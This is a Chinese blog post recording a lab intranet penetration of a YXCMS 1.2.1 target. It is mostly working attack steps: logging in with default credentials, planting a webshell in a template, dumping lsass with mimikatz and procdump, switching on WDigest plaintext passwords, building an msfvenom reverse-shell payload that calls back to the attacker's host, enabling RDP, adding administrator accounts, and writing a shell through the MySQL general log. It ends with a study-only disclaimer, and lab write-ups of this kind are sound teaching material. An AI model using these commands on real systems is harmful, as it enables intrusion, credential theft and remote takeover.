当前位置:   article > 正文

记一次内网渗透_yxcms1.2.1漏洞

yxcms1.2.1漏洞

转载自己网站:https://www.huangmj.com

渗透过程

扫描目录:

image1


发现有用的:

  1. 1. http://192.168.1.7/beifen.rar
  2. 2. http://192.168.1.7/phpinfo.php
  3. 3. http://192.168.1.7/phpmyadmin/
  4. 4. http://192.168.1.7//l.php

1、beifen文件中是yxcms的源文件
 

image2


不太懂怎么看,对我而言觉得应该查到yxcms的版本吧,然后对相应的版本去了解相关的漏洞,因此网上找了一波发现:
 

image3


因此我在后面加上admin之后进入后台:http://192.168.1.7/yxcms/index.php?r=admin
 

image4


是1.2.1的版本,这个在备份下来的源代码中的升级内容也是有的
 

image5


根据那篇文章中说的默认账号密码试一试:
 

image6


进去了,额这不是我想要的结果,因为常规来讲着这样的账号密码会重新设置的。
我们接着看代码审计方面的东西:
搜索yxcms 1.2.1代码审计:
 

image7


看到可以使用一些代码审计工具进行审计,那么我们也下载一个seay代码审计工具,安装后进入:
 

image8


审计的过程:
 

image9


好强大,扫出来这么多东西:
 

image10


那么按照这篇博客讲的,可以先对config.php进行审计:

image11


发现了我能看懂的数据库登录账号及密码,当然是默认的:
 

image12


这个看着像上传的白名单:
 

image13


接着按照blog的内容来审计,发现网站代码中lib的内容为功能文件:
 

image14


 

image15


根据blog所写内容(这部分压根理解不透彻),审计set_cookie功能,该功能为生成cookie的方法,发现其中cp_encode函数进行cookie加密,之后的cp_decode进行解密,那么依据blog中内容,需要进行代码调试,看看cookie解密的内容是什么:
 

image16


cp_encode:
 

image17


 

image18


cp_decode:
 

image19


依照blog内容,我们依照步骤进行,但是进行到代码执行时不能正常执行cp_decode函数,所以不能正常运行:
 

image20


我这边调试程序,使用网站登录上去的cookie,名字是yx_auth相应的值,使用加密函数cp_encode生成的cookie登录,登陆不上去。
 

image21


至此代码审计cookie审计结束。
再翻一翻其他东西,发现yxcms1.2.1默认后台管理员地址是:
http://192.168.1.19/yxcms/index.php?r=admin
访问之后,使用默认账号密码:admin/123456,成功登录。点击全局设置中的前台模板、管理模板文件发现各种php文件;
 

image22


在模板内容编辑中写一个shell,保存:
 

image23


之后访问shell,能够正常运行显示phpinfo:
http://192.168.1.19/yxcms/index.php?cmd=phpinfo();
 

image24


接着我们使用shell管理工具连接成功上去:
Shell地址就是index.php:
 

image25


系统权限:
 

image26


查看系统版本及架构:win7 64:
Wmic os get caption
Wmic os get osarchitecture
 

image27


因有个计划使用mimikatz上传一个hash获取工具,密码抓回来:
执行该条命令在mimikatz的上传目录下面生成一个password.txt的文件,查看该文件的内容可获取密码,为什么这样做是因为mimikatz没有直接的交互界面:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
 

image28


获得的密码为hongrisec@2019
当然目前是没有杀软的情况下执行的,还有中方法是利用procdump配合mimikatz使用的,使用procdump将在线的密码进行保存为1.dmp之后使用mimikatz本地读取该文件获取密码。

  1. 使用procdump工具配合使用
    procdump64.exe -accepteula -ma lsass.exe 1.dmp
  2. 是用mimikatz本地读取内容
    mimikatz.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit > a.txt
  3. 查看a.txt的文件内容发现密码是hongrisec@2019

image29


没问题。
接着把靶机杀毒软件安装上去在测试一遍:
 

image30


插曲,win10拿明文密码或者如果出现密码为null:
利用前提:拿到了admin权限的cmd,管理员用密码登录机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。
抓取明文:修改注册表,使用锁屏脚本等待系统重新登录,截取dmp文件。
1、 修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
修改完之后,重新登录账号,此时抓出来的密码就是明文显示。
之后利用上文的方式离线读取密码即可。
锁屏脚本单独存放了可以使用这个锁屏脚本:
powershell -file lock-screen.ps1

好了接下来测试杀毒软件性能:
1、 常规做法,直接使用mimikatz,靶机直接爆炸了:
 

image31


2、 看样子直接执行是不行的,接着使用procdump配合mimikatz:

先上传procdump:
上传没问题没报错:
接着命令保存dmp:
发现一个问题使用dir的时候爆炸了:
 

image32


那么直接执行procdump64.exe -accepteula -ma lsass.exe 1.dmp呢?还是不行,哎,看样子杀毒软件还是比较猛。
 

image33


之后使用了一个名叫冰蝎的东西,比较好用,之前知道源码以及路径所以使用如下连接:
http://192.168.1.19/yxcms/protected/apps/default/view/default/shell.php
 

image34


上传执行procdump64.exe -accepteula -ma lsass.exe 1.dmp还是拒绝访问:
 

image36


那么直接添加3389呢?还是不行
 

image37


搞了各种方法就是进不去其中也试过msf上传木马的方式,问题在于上传上去之后不能执行,所以有waf过不过难受想哭,接着恢复成没有waf的情景。
接着使用冰蝎工具利用meterperter反弹shell上传木马的方式getshell:
填写上kali的ip地址和meterperter的监听端口号:
 

image38


 

image39


 

image40


执行exploit之后使用冰蝎的给我连接之后进入meterpretershell,解析来的思路上传一个木马,获取系统权限:
1、 制作一个木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.8 lport=5555 -f exe >shell.exe
 

image41


2、 将shell.exe上传到靶机中,并执行。
 

image42


 

image43


因为这里冰蝎有点问题,我使用蚁剑连接一个shell之后开启cmd执行木马先执行exploit之后执行cmd中的shell.exe:
 

image44


 

image45


查看系统信息:
 

image46


查看系统进程以及提权:
 

image47


使用meterpreter中的shell命令打开3389:
run post/windows/manage/enable_rdp
 

image48


添加管理员:
run post/windows/manage/enable_rdp username="admin"password="admin123"
 

image49


提示没有权限的用户那么直接使用系统用户试一试之前dump出了账号密码,一样的情况:
 

image50


使用系统命令试一试:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启3389命令
 

image51


提示密码类型不匹配,那么我们来个大小写数字:
 

image52


没问题,接着连接3389。我才发现刚才那个提示是因为用户名必须是admin1不能有前缀那种。
 

image53


如果登录这个用户会把当前用户挤下去,所以可以上传一个rdp多开工具,我们这边就不上传了。
 

image54


靶机上显示:
 

image55


重新登录上路很慢,给我的感觉怎么像是新建了一个用户:

image56

换一条思路走mysql路线:
最早发现了他的phpmyadmin,因此可以http://192.168.1.7/phpmyadmin/,顺带说一下环境有些问题,所以从新配置之后是1.19,账号密码是root。
 

image57


采用日志写入shell的方式:
1、 查看日志状态:
show variables like '%general%';
 

image58


需要开启general_log为on:
SET GLOBAL general_log='on'
 

image59


创建日志文件,并定义它的路径
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'

image60

 

  • 仅供学习,在自己的局域网环境中复现实验,切勿用于商业用途,后果自负。
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/690324
推荐阅读
相关标签
  

闽ICP备14008679号